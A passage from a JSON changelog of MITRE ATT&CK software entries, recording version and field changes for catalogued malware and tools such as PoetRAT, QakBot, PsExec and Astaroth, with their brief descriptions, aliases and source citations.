\"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "malware", + "id": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-04-27 20:21:16.487000+00:00", + "modified": "2024-08-05 18:24:31.652000+00:00", + "name": "PoetRAT", + "description": "[PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://attack.mitre.org/software/S0428) has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0428", + "external_id": "S0428" + }, + { + "source_name": "Dragos Threat Report 2020", + "description": "Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021.", + "url": "https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770" + }, + { + "source_name": "Talos PoetRAT April 2020", + "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020.", + "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html" + }, + { + "source_name": "Talos PoetRAT October 2020", + "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021.", + "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PoetRAT" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-05 18:24:31.652000+00:00\", \"old_value\": \"2023-03-22 05:09:38.370000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}}", + "previous_version": "2.2", + "version_change": "2.2 \u2192 2.3" + }, + { + "type": "tool", + "id": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:21.771000+00:00", + "modified": "2024-09-25 20:31:21.768000+00:00", + "name": "PsExec", + "description": "[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.(Citation: Russinovich Sysinternals)(Citation: SANS PsExec)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0029", + "external_id": "S0029" + }, + { + "source_name": "SANS PsExec", + "description": "Pilkington, M. (2012, December 17). Protecting Privileged Domain Accounts: PsExec Deep-Dive. Retrieved August 17, 2016.", + "url": "https://www.sans.org/blog/protecting-privileged-domain-accounts-psexec-deep-dive/" + }, + { + "source_name": "Russinovich Sysinternals", + "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PsExec" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Janantha Marasinghe" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:31:21.768000+00:00\", \"old_value\": \"2024-04-04 03:50:11+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.7\", \"old_value\": \"1.6\"}}}", + "previous_version": "1.6", + "version_change": "1.6 \u2192 1.7" + }, + { + "type": "malware", + "id": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-09-27 19:35:35.326000+00:00", + "modified": "2024-09-17 16:10:03.901000+00:00", + "name": "QakBot", + "description": "[QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0650", + "external_id": "S0650" + }, + { + "source_name": "QuackBot", + "description": "(Citation: Kaspersky QakBot September 2021)" + }, + { + "source_name": "Pinkslipbot", + "description": "(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)" + }, + { + "source_name": "QBot", + "description": "(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)" + }, + { + "source_name": "Kaspersky QakBot September 2021", + "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.", + "url": "https://securelist.com/qakbot-technical-analysis/103931/" + }, + { + "source_name": "ATT QakBot April 2021", + "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.", + "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot" + }, + { + "source_name": "Red Canary Qbot", + "description": "Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.", + "url": "https://redcanary.com/threat-detection-report/threats/qbot/" + }, + { + "source_name": "Trend Micro Qakbot December 2020", + "description": "Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.", + "url": "https://success.trendmicro.com/solution/000283381" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "QakBot", + "Pinkslipbot", + "QuackBot", + "QBot" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Edward Millington", + "Inna Danilevich, U.S. Bank" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-17 16:10:03.901000+00:00\", \"old_value\": \"2023-12-05 20:22:37.368000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "tool", + "id": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2024-05-07 19:10:03.843000+00:00", + "name": "QuasarRAT", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that has been publicly available on GitHub since at least 2014. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0262", + "external_id": "S0262" + }, + { + "source_name": "QuasarRAT", + "description": "(Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018) (Citation: TrendMicro Patchwork Dec 2017)" + }, + { + "source_name": "xRAT", + "description": "(Citation: TrendMicro Patchwork Dec 2017)(Citation: Securelist APT10 March 2021)" + }, + { + "source_name": "Securelist APT10 March 2021", + "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.", + "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "QuasarRAT", + "xRAT" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-07 19:10:03.843000+00:00\", \"old_value\": \"2022-08-02 15:36:30.238000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1" + }, + { + "type": "tool", + "id": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25 12:30:40.919000+00:00", + "modified": "2024-08-14 15:22:38.134000+00:00", + "name": "RawDisk", + "description": "[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0364", + "external_id": "S0364" + }, + { + "source_name": "EldoS RawDisk ITpro", + "description": "Edwards, M. (2007, March 14). EldoS Provides Raw Disk Access for Vista and XP. Retrieved March 26, 2019.", + "url": "https://www.itprotoday.com/windows-78/eldos-provides-raw-disk-access-vista-and-xp" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RawDisk" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-14 15:22:38.134000+00:00\", \"old_value\": \"2022-07-28 18:55:35.991000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:33:12.858000+00:00", + "modified": "2024-08-05 18:23:59.724000+00:00", + "name": "Remsec", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0125", + "external_id": "S0125" + }, + { + "source_name": "Kaspersky ProjectSauron Blog", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/" + }, + { + "source_name": "ProjectSauron", + "description": "ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog)" + }, + { + "source_name": "Symantec Strider Blog", + "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Remsec", + "Backdoor.Remsec", + "ProjectSauron" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-05 18:23:59.724000+00:00\", \"old_value\": \"2024-04-11 00:16:18.864000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4" + }, + { + "type": "tool", + "id": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-23 19:34:30.486000+00:00", + "modified": "2024-09-23 14:18:53.140000+00:00", + "name": "SILENTTRINITY", + "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. [SILENTTRINITY](https://attack.mitre.org/software/S0692) was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.(Citation: GitHub SILENTTRINITY March 2022)(Citation: Security Affairs SILENTTRINITY July 2019)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0692", + "external_id": "S0692" + }, + { + "source_name": "SILENTTRINITY", + "description": "(Citation: GitHub SILENTTRINITY March 2022)" + }, + { + "source_name": "Security Affairs SILENTTRINITY July 2019", + "description": "Paganini, P. (2019, July 7). Croatia government agencies targeted with news SilentTrinity malware. Retrieved March 23, 2022.", + "url": "https://securityaffairs.co/wordpress/88021/apt/croatia-government-silenttrinity-malware.html" + }, + { + "source_name": "GitHub SILENTTRINITY March 2022", + "description": "Salvati, M (2019, August 6). SILENTTRINITY. Retrieved March 23, 2022.", + "url": "https://github.com/byt3bl33d3r/SILENTTRINITY" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SILENTTRINITY" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Daniel Acevedo, Blackbot" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-23 14:18:53.140000+00:00\", \"old_value\": \"2023-04-14 19:27:39.308000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Daniel Acevedo, Blackbot\", \"old_value\": \"Daniel Acevedo, @darmad0, ARMADO\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "tool", + "id": "tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-09-14 21:45:30.280000+00:00", + "modified": "2024-09-25 20:32:25.006000+00:00", + "name": "Wevtutil", + "description": "[Wevtutil](https://attack.mitre.org/software/S0645) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0645", + "external_id": "S0645" + }, + { + "source_name": "Wevtutil Microsoft Documentation", + "description": "Microsoft. (n.d.). wevtutil. Retrieved September 14, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Wevtutil" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Viren Chaudhari, Qualys", + "Harshal Tupsamudre, Qualys" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:32:25.006000+00:00\", \"old_value\": \"2022-10-13 17:45:16.377000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "tool", + "id": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:33:00.565000+00:00", + "modified": "2024-08-14 15:21:48.196000+00:00", + "name": "ftp", + "description": "[ftp](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.(Citation: Microsoft FTP)(Citation: Linux FTP)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0095", + "external_id": "S0095" + }, + { + "source_name": "Microsoft FTP", + "description": "Microsoft. (2021, July 21). ftp. Retrieved February 25, 2022.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp" + }, + { + "source_name": "Linux FTP", + "description": "N/A. (n.d.). ftp(1) - Linux man page. Retrieved February 25, 2022.", + "url": "https://linux.die.net/man/1/ftp" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ftp", + "ftp.exe" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-14 15:21:48.196000+00:00\", \"old_value\": \"2022-03-07 22:20:18.809000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1" + }, + { + "type": "malware", + "id": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:24.937000+00:00", + "modified": "2024-05-07 19:07:45.403000+00:00", + "name": "gh0st RAT", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0032", + "external_id": "S0032" + }, + { + "source_name": "gh0st RAT", + "description": "(Citation: FireEye Hacking Team)(Citation: Nccgroup Gh0st April 2018)" + }, + { + "source_name": "Mydoor", + "description": "(Citation: Novetta-Axiom)" + }, + { + "source_name": "Moudoor", + "description": "(Citation: Novetta-Axiom)" + }, + { + "source_name": "FireEye Hacking Team", + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + }, + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + }, + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/" + }, + { + "source_name": "Arbor Musical Chairs Feb 2018", + "description": "Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "gh0st RAT", + "Mydoor", + "Moudoor" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_version": "3.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-07 19:07:45.403000+00:00\", \"old_value\": \"2024-02-06 19:00:45.557000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.3\", \"old_value\": \"3.2\"}}}", + "previous_version": "3.2", + "version_change": "3.2 \u2192 3.3" + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "tool", + "id": "tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-02-01 15:08:45.007000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "AADInternals", + "description": "[AADInternals](https://attack.mitre.org/software/S0677) is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.(Citation: AADInternals Github)(Citation: AADInternals Documentation)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0677", + "external_id": "S0677" + }, + { + "source_name": "AADInternals", + "description": "Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 1, 2022.", + "url": "https://o365blog.com/aadinternals/" + }, + { + "source_name": "AADInternals Documentation", + "description": "Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022.", + "url": "https://o365blog.com/aadinternals" + }, + { + "source_name": "AADInternals Github", + "description": "Dr. Nestori Syynimaa. (2021, December 13). AADInternals. Retrieved February 1, 2022.", + "url": "https://github.com/Gerenios/AADInternals" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "AADInternals" + ], + "x_mitre_attack_spec_version": "3.1.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-04-15 00:59:18.335000+00:00\"}, \"root['x_mitre_platforms'][2]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Office 365\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Azure AD\"}}}", + "previous_version": "1.2" + }, + { + "type": "malware", + "id": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17 13:46:38.565000+00:00", + "modified": "2024-09-25 15:03:49.408000+00:00", + "name": "Astaroth", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0373", + "external_id": "S0373" + }, + { + "source_name": "Guildma", + "description": "(Citation: Securelist Brazilian Banking Malware July 2020)" + }, + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.", + "url": "https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + }, + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/" + }, + { + "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Astaroth", + "Guildma" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Carlos Borges, @huntingneo, CIP" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 15:03:49.408000+00:00\", \"old_value\": \"2024-04-11 02:58:17.763000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Doaty, J., Garrett, 